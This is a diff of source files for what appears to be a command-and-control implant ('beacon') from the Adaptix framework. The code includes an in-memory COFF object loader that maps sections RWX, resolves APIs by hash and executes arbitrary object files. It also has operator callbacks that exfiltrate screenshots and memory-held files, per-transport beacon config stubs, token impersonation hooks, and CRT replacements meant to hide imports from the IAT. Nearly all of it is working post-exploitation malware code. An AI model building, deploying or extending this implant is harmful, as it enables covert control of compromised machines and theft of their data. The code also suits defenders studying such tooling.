//BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
//BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
//BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
//BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
||||
//BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
||||
//DWORD BeaconResumeThread(HANDLE threadHandle);
|
||||
//HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
|
||||
//HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
|
||||
//BOOL BeaconCloseHandle(HANDLE object);
|
||||
//BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
|
||||
//SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
|
||||
//BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
|
||||
//BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
|
||||
//BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
|
||||
|
||||
/// Async BOF API
|
||||
|
||||
BOOL BeaconRegisterThreadCallback(PVOID callbackFunction, PVOID callbackData)
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL BeaconUnregisterThreadCallback()
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void BeaconWakeup()
|
||||
{
|
||||
if (g_AsyncBofManager)
|
||||
g_AsyncBofManager->SignalWakeup();
|
||||
}
|
||||
|
||||
HANDLE BeaconGetStopJobEvent()
|
||||
{
|
||||
AsyncBofContext* ctx = tls_CurrentBofContext;
|
||||
if (!ctx)
|
||||
return NULL;
|
||||
return ctx->hStopEvent;
|
||||
}
|
||||
|
||||
/// 3rd party API
|
||||
|
||||
HMODULE proxy_LoadLibraryA(LPCSTR lpLibFileName)
|
||||
{
|
||||
return ApiWin->LoadLibraryA(lpLibFileName);
|
||||
}
|
||||
|
||||
HMODULE proxy_GetModuleHandleA(LPCSTR lpModuleName)
|
||||
{
|
||||
return ApiWin->GetModuleHandleA(lpModuleName);
|
||||
}
|
||||
|
||||
FARPROC proxy_GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
|
||||
{
|
||||
return ApiWin->GetProcAddress(hModule, lpProcName);
|
||||
}
|
||||
|
||||
BOOL proxy_FreeLibrary(HMODULE hLibModule)
|
||||
{
|
||||
return ApiWin->FreeLibrary(hLibModule);
|
||||
}
|
||||
|
||||
////////// AX Functions
|
||||
|
||||
void AxAddScreenshot(char* note, char* data, int len)
|
||||
{
|
||||
if (IsAsyncBofThread()) {
|
||||
AsyncBofOutput(CALLBACK_AX_SCREENSHOT, (PBYTE)data, len);
|
||||
return;
|
||||
}
|
||||
if (bofOutputPacker) {
|
||||
bofOutputPacker->Pack32(bofTaskId);
|
||||
bofOutputPacker->Pack32(51); // COMMAND_EXEC_BOF_OUT
|
||||
bofOutputPacker->Pack32(CALLBACK_AX_SCREENSHOT);
|
||||
bofOutputPacker->PackStringA(note);
|
||||
bofOutputPacker->PackBytes((PBYTE)data, len);
|
||||
}
|
||||
}
|
||||
|
||||
void AxDownloadMemory(char* filename, char* data, int len)
|
||||
{
|
||||
if (IsAsyncBofThread()) {
|
||||
AsyncBofOutput(CALLBACK_AX_DOWNLOAD_MEM, (PBYTE)data, len);
|
||||
return;
|
||||
}
|
||||
if (bofOutputPacker) {
|
||||
bofOutputPacker->Pack32(bofTaskId);
|
||||
bofOutputPacker->Pack32(51); // COMMAND_EXEC_BOF_OUT
|
||||
bofOutputPacker->Pack32(CALLBACK_AX_DOWNLOAD_MEM);
|
||||
bofOutputPacker->PackStringA(filename);
|
||||
bofOutputPacker->PackBytes((PBYTE)data, len);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,363 @@
|
||||
#include "bof_loader.h"
|
||||
#include "ProcLoader.h"
|
||||
#include "utils.h"
|
||||
#include "Boffer.h"
|
||||
|
||||
#define llabs(n) ((n) < 0 ? -(n) : (n))
|
||||
|
||||
#if defined(__x86_64__) || defined(_WIN64)
|
||||
int IMP_LENGTH = 6;
|
||||
#else
|
||||
int IMP_LENGTH = 7;
|
||||
#endif
|
||||
|
||||
int my_strncpy_s(char* dest, unsigned int destsz, const char* src, unsigned int count) {
|
||||
if (!dest || !src) return 1;
|
||||
if (destsz == 0) return 2;
|
||||
|
||||
unsigned int i = 0;
|
||||
for (; i < count && i < destsz - 1 && src[i] != '\0'; ++i)
|
||||
dest[i] = src[i];
|
||||
|
||||
if (i < count && src[i] != '\0') {
|
||||
dest[0] = '\0';
|
||||
return 3;
|
||||
}
|
||||
dest[i] = '\0';
|
||||
return 0;
|
||||
}
|
||||
|
||||
void InitBofOutputData()
|
||||
{
|
||||
if (bofOutputPacker == NULL)
|
||||
bofOutputPacker = new Packer();
|
||||
}
|
||||
|
||||
#define BEACON_FUNCTIONS_COUNT 32
|
||||
|
||||
BOF_API BeaconFunctions[BEACON_FUNCTIONS_COUNT] = {
|
||||
|
||||
/// 5 - Data Parser API
|
||||
|
||||
{ HASH_FUNC_BEACONDATAPARSE, (LPVOID) BeaconDataParse },
|
||||
{ HASH_FUNC_BEACONDATAINT, (LPVOID) BeaconDataInt },
|
||||
{ HASH_FUNC_BEACONDATASHORT, (LPVOID) BeaconDataShort },
|
||||
{ HASH_FUNC_BEACONDATALENGTH, (LPVOID) BeaconDataLength },
|
||||
{ HASH_FUNC_BEACONDATAEXTRACT, (LPVOID) BeaconDataExtract },
|
||||
|
||||
/// 2 - Output API
|
||||
|
||||
{ HASH_FUNC_BEACONOUTPUT, (LPVOID) BeaconOutput },
|
||||
{ HASH_FUNC_BEACONPRINTF, (LPVOID) BeaconPrintf },
|
||||
|
||||
/// 7 - Format API
|
||||
|
||||
{ HASH_FUNC_BEACONFORMATALLOC, (LPVOID) BeaconFormatAlloc },
|
||||
{ HASH_FUNC_BEACONFORMATRESET, (LPVOID) BeaconFormatReset },
|
||||
{ HASH_FUNC_BEACONFORMATAPPEND, (LPVOID) BeaconFormatAppend },
|
||||
{ HASH_FUNC_BEACONFORMATPRINTF, (LPVOID) BeaconFormatPrintf },
|
||||
{ HASH_FUNC_BEACONFORMATTOSTRING, (LPVOID) BeaconFormatToString },
|
||||
{ HASH_FUNC_BEACONFORMATFREE, (LPVOID) BeaconFormatFree },
|
||||
{ HASH_FUNC_BEACONFORMATINT, (LPVOID) BeaconFormatInt },
|
||||
|
||||
/// 7 - Internal APIs
|
||||
|
||||
{ HASH_FUNC_BEACONUSETOKEN, (LPVOID) BeaconUseToken },
|
||||
{ HASH_FUNC_BEACONREVERTTOKEN, (LPVOID) BeaconRevertToken },
|
||||
{ HASH_FUNC_BEACONISADMIN, (LPVOID) BeaconIsAdmin },
|
||||
//{ HASH_FUNC_BEACONGETSPAWNTO, BeaconGetSpawnTo },
|
||||
//{ HASH_FUNC_BEACONSPAWNTEMPORARYPROCESS, BeaconSpawnTemporaryProcess },
|
||||
//{ HASH_FUNC_BEACONINJECTPROCESS, BeaconInjectProcess },
|
||||
//{ HASH_FUNC_BEACONINJECTTEMPORARYPROCESS, BeaconInjectTemporaryProcess },
|
||||
//{ HASH_FUNC_BEACONCLEANUPPROCESS, BeaconCleanupProcess },
|
||||
//{ HASH_FUNC_BEACONINFORMATION, BeaconInformation },
|
||||
{ HASH_FUNC_TOWIDECHAR, (LPVOID) toWideChar },
|
||||
{ HASH_FUNC_BEACONADDVALUE, (LPVOID) BeaconAddValue },
|
||||
{ HASH_FUNC_BEACONGETVALUE, (LPVOID) BeaconGetValue },
|
||||
{ HASH_FUNC_BEACONREMOVEVALUE, (LPVOID) BeaconRemoveValue },
|
||||
|
||||
/// 2 - Adaptix APIs
|
||||
{ HASH_FUNC_AXADDSCREENSHOT, (LPVOID) AxAddScreenshot },
|
||||
{ HASH_FUNC_AXDOWNLOADMEMORY, (LPVOID) AxDownloadMemory },
|
||||
|
||||
/// 3 - Async BOF APIs
|
||||
{ HASH_FUNC_BEACONREGISTERTHREADCALLBACK, (LPVOID) BeaconRegisterThreadCallback },
|
||||
{ HASH_FUNC_BEACONUNREGISTERTHREADCALLBACK, (LPVOID) BeaconUnregisterThreadCallback },
|
||||
{ HASH_FUNC_BEACONWAKEUP, (LPVOID) BeaconWakeup },
|
||||
{ HASH_FUNC_BEACONGETSTOPJOBEVENT, (LPVOID) BeaconGetStopJobEvent },
|
||||
|
||||
/// 5 - Other APIs
|
||||
|
||||
{ HASH_FUNC_LOADLIBRARYA, (LPVOID) proxy_LoadLibraryA },
|
||||
{ HASH_FUNC_GETMODULEHANDLEA, (LPVOID) proxy_GetModuleHandleA },
|
||||
{ HASH_FUNC_FREELIBRARY, (LPVOID) proxy_FreeLibrary },
|
||||
{ HASH_FUNC_GETPROCADDRESS, (LPVOID) proxy_GetProcAddress },
|
||||
{ HASH_FUNC___C_SPECIFIC_HANDLER, NULL }, // GetProcAddress(kern, "__C_specific_handler");
|
||||
};
|
||||
|
||||
void* FindProcBySymbol(char* symbol)
|
||||
{
|
||||
if ( StrLenA(symbol) > IMP_LENGTH) {
|
||||
ULONG funcHash = Djb2A((PUCHAR) symbol + IMP_LENGTH);
|
||||
for (int i = 0; i < BEACON_FUNCTIONS_COUNT; i++) {
|
||||
if (funcHash == BeaconFunctions[i].hash) {
|
||||
if ( BeaconFunctions[i].proc != NULL )
|
||||
return BeaconFunctions[i].proc;
|
||||
}
|
||||
}
|
||||
|
||||
char symbolCopy[1024] = { 0 };
|
||||
memcpy(symbolCopy, symbol, StrLenA(symbol));
|
||||
|
||||
CHAR c1[] = { '$',0 };
|
||||
CHAR c2[] = { '@',0 };
|
||||
|
||||
char* moduleName = symbolCopy + IMP_LENGTH;
|
||||
moduleName = StrTokA(moduleName, c1);
|
||||
|
||||
char* funcName = StrTokA(NULL, c1);
|
||||
funcName = StrTokA(funcName, c2);
|
||||
|
||||
funcHash = Djb2A((PUCHAR)funcName);
|
||||
HMODULE hModule = ApiWin->LoadLibraryA(moduleName);
|
||||
|
||||
memset(symbolCopy, 0, StrLenA(symbol));
|
||||
|
||||
if (hModule)
|
||||
return GetSymbolAddress(hModule, funcHash);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
char* PrepareEntryName(char* targetFuncName)
|
||||
{
|
||||
#if defined(__x86_64__) || defined(_WIN64)
|
||||
return targetFuncName;
|
||||
#else
|
||||
int targetLength = StrLenA(targetFuncName);
|
||||
char* entryName = (char*)MemAllocLocal(targetLength + 2);
|
||||
if (!entryName)
|
||||
return NULL;
|
||||
|
||||
entryName[0] = '_';
|
||||
memcpy(entryName + 1, targetFuncName, targetLength + 1);
|
||||
return entryName;
|
||||
#endif
|
||||
}
|
||||
|
||||
void FreeFunctionName(char* targetFuncName)
|
||||
{
|
||||
#if !defined(__x86_64__) && !defined(_WIN64)
|
||||
MemFreeLocal((LPVOID*) & targetFuncName, StrLenA(targetFuncName));
|
||||
#endif
|
||||
}
|
||||
|
||||
bool AllocateSections(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections)
|
||||
{
|
||||
for (int i = 0; i < pHeader->NumberOfSections; i++) {
|
||||
COF_SECTION* pSection = (COF_SECTION*)(coffFile + sizeof(COF_HEADER) + (sizeof(COF_SECTION) * i));
|
||||
mapSections[i] = (char*)ApiWin->VirtualAlloc(NULL, pSection->SizeOfRawData, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
|
||||
if (!mapSections[i] && pSection->SizeOfRawData)
|
||||
return FALSE;
|
||||
|
||||
if (pSection->PointerToRawData)
|
||||
memcpy(mapSections[i], coffFile + pSection->PointerToRawData, pSection->SizeOfRawData);
|
||||
else
|
||||
memset(mapSections[i], 0, pSection->SizeOfRawData);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CleanupSections(PCHAR* mapSections, int maxSections)
|
||||
{
|
||||
for (int i = 0; i < maxSections; i++) {
|
||||
if (mapSections[i]) {
|
||||
ApiWin->VirtualFree(mapSections[i], 0, MEM_RELEASE);
|
||||
mapSections[i] = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool ProcessRelocations(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections, COF_SYMBOL* pSymbolTable, LPVOID* mapFunctions)
|
||||
{
|
||||
bool status = TRUE;
|
||||
int mapFunctionsSize = 0;
|
||||
char* procSymbol = NULL;
|
||||
char procSymbolShort[9] = { 0 };
|
||||
|
||||
for (int sectionIndex = 0; sectionIndex < pHeader->NumberOfSections; sectionIndex++) {
|
||||
COF_SECTION* pSection = (COF_SECTION*)(coffFile + sizeof(COF_HEADER) + (sizeof(COF_SECTION) * sectionIndex));
|
||||
COF_RELOCATION* pRelocTable = (COF_RELOCATION*)(coffFile + pSection->PointerToRelocations);
|
||||
|
||||
for (int relocIndex = 0; relocIndex < pSection->NumberOfRelocations; relocIndex++) {
|
||||
COF_SYMBOL pSymbol = pSymbolTable[pRelocTable->SymbolTableIndex];
|
||||
if (pRelocTable->SymbolTableIndex >= pHeader->NumberOfSymbols) {
|
||||
BeaconOutput(BOF_ERROR_PARSE, NULL, 0);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
int offset = 0;
|
||||
void* procAddress = NULL;
|
||||
#ifdef _WIN64
|
||||
unsigned long long bigOffset = 0;
|
||||
#endif
|
||||
|
||||
if (pSymbol.Name.dwName[0] == 0) {
|
||||
procSymbol = ((char*)(pSymbolTable + pHeader->NumberOfSymbols)) + pSymbol.Name.dwName[1];
|
||||
}
|
||||
else {
|
||||
if (pSymbol.Name.cName[7] != 0) {
|
||||
my_strncpy_s(procSymbolShort, sizeof(procSymbolShort), pSymbol.Name.cName, sizeof(pSymbol.Name.cName));
|
||||
procSymbol = procSymbolShort;
|
||||
}
|
||||
else {
|
||||
procSymbol = pSymbol.Name.cName;
|
||||
}
|
||||
}
|
||||
|
||||
if (pSymbol.SectionNumber > 0) {
|
||||
procAddress = mapSections[pSymbol.SectionNumber - 1];
|
||||
procAddress = (void*)((char*)procAddress + pSymbol.Value);
|
||||
}
|
||||
else if(pSymbol.Value == 0 && (pSymbol.StorageClass == IMAGE_SYM_CLASS_EXTERNAL || pSymbol.StorageClass == IMAGE_SYM_CLASS_EXTERNAL_DEF)) {
|
||||
procAddress = FindProcBySymbol(procSymbol);
|
||||
if (procAddress == NULL && pSymbolTable[pRelocTable->SymbolTableIndex].SectionNumber == 0) {
|
||||
BeaconOutput(BOF_ERROR_SYMBOL, procSymbol, StrLenA(procSymbol));
|
||||
status = FALSE;
|
||||
}
|
||||
else {
|
||||
mapFunctions[mapFunctionsSize] = procAddress;
|
||||
procAddress = &mapFunctions[mapFunctionsSize];
|
||||
mapFunctionsSize++;
|
||||
}
|
||||
}
|
||||
else {
|
||||
BeaconOutput(BOF_ERROR_SYMBOL, "Undefined symbol", 17);
|
||||
status = FALSE;
|
||||
}
|
||||
|
||||
if (status != FALSE) {
|
||||
#ifdef _WIN64
|
||||
if (pRelocTable->Type == IMAGE_REL_AMD64_ADDR64) // Type == 1 - 64-bit VA of the relocation target
|
||||
{
|
||||
memcpy(&bigOffset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(unsigned long long));
|
||||
bigOffset += (unsigned long long) procAddress;
|
||||
memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &bigOffset, sizeof(unsigned long long));
|
||||
}
|
||||
else if (pRelocTable->Type == IMAGE_REL_AMD64_ADDR32NB) // Type == 3 relocation code
|
||||
{
|
||||
memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int));
|
||||
if (((char*)(mapSections[pSymbol.SectionNumber - 1] + offset) - (char*)(mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4)) > 0xffffffff) {
|
||||
return FALSE;
|
||||
}
|
||||
offset = ((char*)(mapSections[pSymbol.SectionNumber - 1] + offset) - (char*)(mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4));
|
||||
offset += pSymbolTable[pRelocTable->SymbolTableIndex].Value;
|
||||
memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(int));
|
||||
}
|
||||
// Type == 4,5,6,7,8,9 relocation code (make global variables)
|
||||
else if (pRelocTable->Type == IMAGE_REL_AMD64_REL32 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_1 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_2 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_3 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_4 || pRelocTable->Type == IMAGE_REL_AMD64_REL32_5)
|
||||
{
|
||||
offset = 0;
|
||||
int typeIndex = pRelocTable->Type - 4;
|
||||
|
||||
memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int));
|
||||
if (llabs((long long)procAddress - (long long)(mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4 + typeIndex)) > UINT_MAX) {
|
||||
return FALSE;
|
||||
}
|
||||
offset += ((size_t)procAddress - ((size_t)mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4 + typeIndex));
|
||||
memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(int));
|
||||
}
|
||||
#else
|
||||
if (pRelocTable->Type == IMAGE_REL_I386_DIR32)
|
||||
{
|
||||
offset = 0;
|
||||
memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int));
|
||||
offset = (unsigned int)procAddress + offset;
|
||||
memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(unsigned int));
|
||||
}
|
||||
else if (pRelocTable->Type == IMAGE_REL_I386_REL32)
|
||||
{
|
||||
offset = 0;
|
||||
memcpy(&offset, mapSections[sectionIndex] + pRelocTable->VirtualAddress, sizeof(int));
|
||||
offset = (unsigned int)procAddress - (unsigned int)(mapSections[sectionIndex] + pRelocTable->VirtualAddress + 4);
|
||||
memcpy(mapSections[sectionIndex] + pRelocTable->VirtualAddress, &offset, sizeof(unsigned int));
|
||||
}
|
||||
#endif
|
||||
}
|
||||
pRelocTable = (COF_RELOCATION*)((char*)pRelocTable + sizeof(COF_RELOCATION));
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void ExecuteProc(char* entryFuncName, unsigned char* args, int argsSize, COF_SYMBOL* pSymbolTable, COF_HEADER* pHeader, PCHAR* mapSections)
|
||||
{
|
||||
for (int i = 0; i < pHeader->NumberOfSymbols; i++) {
|
||||
if (StrCmpA(pSymbolTable[i].Name.cName, entryFuncName) == 0) {
|
||||
void(*proc)(char*, unsigned long) = (void(*)(char*, unsigned long)) (mapSections[pSymbolTable[i].SectionNumber - 1] + pSymbolTable[i].Value);
|
||||
proc((char*)args, argsSize);
|
||||
return;
|
||||
}
|
||||
}
|
||||
BeaconOutput(BOF_ERROR_ENTRY, NULL, 0);
|
||||
}
|
||||
|
||||
Packer* ObjectExecute(ULONG taskId, char* targetFuncName, unsigned char* coffFile, unsigned int cofFileSize, unsigned char* args, int argsSize)
|
||||
{
|
||||
COF_HEADER* pHeader = NULL;
|
||||
COF_SYMBOL* pSymbolTable = NULL;
|
||||
PCHAR entryFuncName = NULL;
|
||||
LPVOID* mapFunctions = NULL;
|
||||
BOOL result = FALSE;
|
||||
PCHAR mapSections[MAX_SECTIONS] = { 0 };
|
||||
|
||||
InitBofOutputData();
|
||||
bofTaskId = taskId;
|
||||
|
||||
if (!coffFile || !targetFuncName) {
|
||||
goto RET;
|
||||
}
|
||||
|
||||
pHeader = (COF_HEADER*)coffFile;
|
||||
pSymbolTable = (COF_SYMBOL*)(coffFile + pHeader->PointerToSymbolTable);
|
||||
|
||||
entryFuncName = PrepareEntryName(targetFuncName);
|
||||
if (!entryFuncName) {
|
||||
BeaconOutput(BOF_ERROR_ENTRY, NULL, 0);
|
||||
goto RET;
|
||||
}
|
||||
|
||||
result = AllocateSections(coffFile, pHeader, mapSections);
|
||||
if (!result) {
|
||||
BeaconOutput(BOF_ERROR_ALLOC, NULL, 0);
|
||||
goto RET;
|
||||
}
|
||||
|
||||
mapFunctions = (LPVOID*) ApiWin->VirtualAlloc(NULL, MAP_FUNCTIONS_SIZE, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
|
||||
if (!mapFunctions) {
|
||||
BeaconOutput(BOF_ERROR_ALLOC, NULL, 0);
|
||||
goto RET;
|
||||
}
|
||||
|
||||
result = ProcessRelocations(coffFile, pHeader, mapSections, pSymbolTable, mapFunctions);
|
||||
if (!result) {
|
||||
|
||||
goto RET;
|
||||
}
|
||||
|
||||
ExecuteProc(entryFuncName, args, argsSize, pSymbolTable, pHeader, mapSections);
|
||||
|
||||
RET:
|
||||
if (mapFunctions) {
|
||||
ApiWin->VirtualFree(mapFunctions, 0, MEM_RELEASE);
|
||||
mapFunctions = NULL;
|
||||
}
|
||||
|
||||
FreeFunctionName(entryFuncName);
|
||||
CleanupSections(mapSections, MAX_SECTIONS);
|
||||
|
||||
bofTaskId = 0;
|
||||
|
||||
return bofOutputPacker;
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
#pragma once
|
||||
#include "adaptix.h"
|
||||
#include "ApiLoader.h"
|
||||
#include "ApiDefines.h"
|
||||
#include "Packer.h"
|
||||
|
||||
#define MAX_SECTIONS 25
|
||||
#define MAP_FUNCTIONS_SIZE 4096
|
||||
|
||||
#define IMAGE_REL_AMD64_ADDR64 0x0001
|
||||
#define IMAGE_REL_AMD64_ADDR32NB 0x0003
|
||||
#define IMAGE_REL_AMD64_REL32 0x0004
|
||||
#define HASH_KEY 13
|
||||
|
||||
#define BOF_ERROR_PARSE 0x101
|
||||
#define BOF_ERROR_SYMBOL 0x102
|
||||
#define BOF_ERROR_MAX_FUNCS 0x103
|
||||
#define BOF_ERROR_ENTRY 0x104
|
||||
#define BOF_ERROR_ALLOC 0x105
|
||||
|
||||
typedef struct {
|
||||
ULONG hash;
|
||||
LPVOID proc;
|
||||
} BOF_API;
|
||||
|
||||
extern Packer* bofOutputPacker;
|
||||
extern int bofOutputCount;
|
||||
extern ULONG bofTaskId;
|
||||
|
||||
typedef struct COF_HEADER {
|
||||
short Machine;
|
||||
short NumberOfSections;
|
||||
int TimeDateStamp;
|
||||
int PointerToSymbolTable;
|
||||
int NumberOfSymbols;
|
||||
short SizeOfOptionalHeader;
|
||||
short Characteristics;
|
||||
} COF_HEADER;
|
||||
|
||||
#pragma pack(push,1)
|
||||
|
||||
typedef struct COF_SECTION {
|
||||
char Name[8];
|
||||
int VirtualSize;
|
||||
int VirtualAddress;
|
||||
int SizeOfRawData;
|
||||
int PointerToRawData;
|
||||
int PointerToRelocations;
|
||||
int PointerToLineNumbers;
|
||||
short NumberOfRelocations;
|
||||
short NumberOfLinenumbers;
|
||||
int Characteristics;
|
||||
} COF_SECTION;
|
||||
|
||||
typedef struct COF_RELOCATION {
|
||||
int VirtualAddress;
|
||||
int SymbolTableIndex;
|
||||
short Type;
|
||||
} COF_RELOCATION;
|
||||
|
||||
typedef struct COF_SYMBOL {
|
||||
union {
|
||||
char cName[8];
|
||||
int dwName[2];
|
||||
} Name;
|
||||
int Value;
|
||||
short SectionNumber;
|
||||
short Type;
|
||||
char StorageClass;
|
||||
char NumberOfAuxSymbols;
|
||||
} COF_SYMBOL;
|
||||
|
||||
#pragma pack(pop)
|
||||
|
||||
void InitBofOutputData();
|
||||
|
||||
Packer* ObjectExecute(ULONG taskId, char* targetFuncName, unsigned char* coffFile, unsigned int cofFileSize, unsigned char* args, int argsSize);
|
||||
|
||||
bool AllocateSections(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections);
|
||||
void CleanupSections(PCHAR* mapSections, int maxSections);
|
||||
bool ProcessRelocations(unsigned char* coffFile, COF_HEADER* pHeader, PCHAR* mapSections, COF_SYMBOL* pSymbolTable, LPVOID* mapFunctions);
|
||||
void ExecuteProc(char* entryFuncName, unsigned char* args, int argsSize, COF_SYMBOL* pSymbolTable, COF_HEADER* pHeader, PCHAR* mapSections);
|
||||
char* PrepareEntryName(char* targetFuncName);
|
||||
void FreeFunctionName(char* targetFuncName);
|
||||
@@ -0,0 +1,38 @@
|
||||
;
|
||||
; chkstk_x64.asm - Stack probe for MSVC x64 builds
|
||||
; MSVC x64 does not support inline assembly, so this must be a separate file.
|
||||
; Assemble with: ml64 /c chkstk_x64.asm
|
||||
;
|
||||
|
||||
PUBLIC _chkstk
|
||||
PUBLIC __chkstk
|
||||
|
||||
_TEXT SEGMENT
|
||||
|
||||
_chkstk PROC
|
||||
push rcx
|
||||
push rax
|
||||
cmp rax, 1000h
|
||||
lea rcx, [rsp + 24]
|
||||
jb done
|
||||
probe_loop:
|
||||
sub rcx, 1000h
|
||||
test QWORD PTR [rcx], rcx
|
||||
sub rax, 1000h
|
||||
cmp rax, 1000h
|
||||
ja probe_loop
|
||||
done:
|
||||
sub rcx, rax
|
||||
test QWORD PTR [rcx], rcx
|
||||
pop rax
|
||||
pop rcx
|
||||
ret
|
||||
_chkstk ENDP
|
||||
|
||||
__chkstk PROC
|
||||
; Alias - some code paths call __chkstk instead of _chkstk
|
||||
jmp _chkstk
|
||||
__chkstk ENDP
|
||||
|
||||
_TEXT ENDS
|
||||
END
|
||||
@@ -0,0 +1,62 @@
|
||||
#include "config.h"
|
||||
|
||||
#if defined(BUILD_SVC)
|
||||
char* getServiceName()
|
||||
{
|
||||
return (char*) "ServiceName";
|
||||
}
|
||||
#endif
|
||||
|
||||
#if defined(BEACON_HTTP)
|
||||
char* getProfile()
|
||||
{
|
||||
return (char*)"";
|
||||
}
|
||||
|
||||
unsigned int getProfileSize()
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
|
||||
#elif defined(BEACON_SMB)
|
||||
|
||||
char* getProfile()
|
||||
{
|
||||
return (char*)"";
|
||||
}
|
||||
|
||||
unsigned int getProfileSize()
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
|
||||
#elif defined(BEACON_TCP)
|
||||
|
||||
char* getProfile()
|
||||
{
|
||||
return (char*)"";
|
||||
}
|
||||
|
||||
unsigned int getProfileSize()
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
|
||||
#elif defined(BEACON_DNS)
|
||||
|
||||
char* getProfile()
|
||||
{
|
||||
return (char*)"";
|
||||
}
|
||||
|
||||
unsigned int getProfileSize()
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
int isIatHidingEnabled()
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
|
||||
#if defined(BUILD_SVC)
|
||||
char* getServiceName();
|
||||
#endif
|
||||
|
||||
char* getProfile();
|
||||
|
||||
unsigned int getProfileSize();
|
||||
|
||||
int isIatHidingEnabled();
|
||||
@@ -0,0 +1,472 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
//
|
||||
// Minimal CRT replacements for -nostdlib linking.
|
||||
// Eliminates KERNEL32.dll and msvcrt.dll from the IAT.
|
||||
//
|
||||
|
||||
//=============================================================================
|
||||
// Compiler and toolchain detection
|
||||
//=============================================================================
|
||||
|
||||
// Compiler family
|
||||
#if defined(_MSC_VER) && !defined(__clang__)
|
||||
#define COMPILER_MSVC 1
|
||||
#define COMPILER_CLANG 0
|
||||
#define COMPILER_GCC 0
|
||||
#elif defined(__clang__)
|
||||
#define COMPILER_MSVC 0
|
||||
#define COMPILER_CLANG 1
|
||||
#define COMPILER_GCC 0
|
||||
#elif defined(__GNUC__) || defined(__MINGW32__) || defined(__MINGW64__)
|
||||
#define COMPILER_MSVC 0
|
||||
#define COMPILER_CLANG 0
|
||||
#define COMPILER_GCC 1
|
||||
#else
|
||||
#error "Unsupported compiler: use MinGW, MSVC, Clang, or Zig"
|
||||
#endif
|
||||
|
||||
// Toolchain detection (affects ABI and naming)
|
||||
#if defined(__MINGW32__) || defined(__MINGW64__)
|
||||
#define TOOLCHAIN_MINGW 1
|
||||
#else
|
||||
#define TOOLCHAIN_MINGW 0
|
||||
#endif
|
||||
|
||||
// Zig uses Clang frontend, detected via __zig_cc__ or lack of other defines
|
||||
#if defined(__zig_cc__) || (COMPILER_CLANG && !defined(_MSC_VER) && !TOOLCHAIN_MINGW)
|
||||
#define TOOLCHAIN_ZIG 1
|
||||
#else
|
||||
#define TOOLCHAIN_ZIG 0
|
||||
#endif
|
||||
|
||||
// GCC-compatible inline assembly (GCC, Clang, Zig)
|
||||
#define ASM_GCC_STYLE (COMPILER_GCC || COMPILER_CLANG)
|
||||
|
||||
// MSVC-style intrinsics
|
||||
#define USE_MSVC_INTRINSICS (COMPILER_MSVC || (COMPILER_CLANG && defined(_MSC_VER)))
|
||||
|
||||
#if USE_MSVC_INTRINSICS
|
||||
#include <intrin.h>
|
||||
#endif
|
||||
|
||||
// Naked function attribute
|
||||
#if COMPILER_MSVC
|
||||
